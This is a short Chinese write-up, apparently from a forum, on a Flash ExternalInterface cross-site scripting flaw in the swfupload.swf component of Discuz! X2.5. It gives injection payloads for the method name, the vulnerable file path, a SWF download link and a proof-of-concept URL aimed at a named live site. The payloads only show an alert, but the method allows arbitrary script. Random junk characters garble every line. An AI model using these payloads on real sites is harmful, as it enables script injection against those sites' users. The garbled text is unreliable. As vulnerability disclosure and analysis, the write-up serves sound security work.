上回我们说; k. Y' x$ l4 Z; p
2 `' S; C; {9 z' x6 \- ]4 p/ R4 ~flash.external.ExternalInterface.call($methodName, $parameter)- t, _! C8 s. o! `
在浏览器中执行的是) |4 k% b/ F8 ]3 I2 x8 f
, o$ n9 X7 \5 u7 Y% N* Z& \, J/ n; a
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
2 @8 n6 X+ d7 w1 X对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
" m! b5 J! g" M
7 }& z/ a& H* q' _0 pflash.external.ExternalInterface.call("object."+$methodName, $parameter)
$ h* t+ }& K$ A. y0 ~$methodName = a())}catch(e){alert(/xss/)}//1 W3 t& D! n& }5 d' @6 i# d: ~8 Q
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。( Z+ K1 H( [) ~5 l! G
7 |. L4 e4 ~& f) b
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
- ^+ f( i& y" {& Y, Y9 w& m
) r% [3 _6 V5 g( K' {8 g这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )' ~1 g( [: ~3 _/ E% s8 D
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
, y# f$ T2 ]6 {& o* T3 x: q
3 j: i0 c$ K& l) p" k1 \4 N6 M" F% a4 {1 ~. c# z* }4 L
) I! Y# R5 J$ V. U
漏洞文件:upload\static\image\common\swfupload.swf
. ^) W# p0 n" i' b' Z4 k2 n3 b& U) o6 b( v( J4 P2 q/ f7 w
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
& ?! z$ d( ]. A0 { I# C3 @7 l6 |1 x7 K
2 H( C3 O6 @" t( M7 w$ b+ t" \, d2 y
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
4 G, W1 k+ ]& }6 c
' U0 K6 E0 o' N" N9 q- X( u4 N4 N& w1 M; i; s8 b/ i* k
|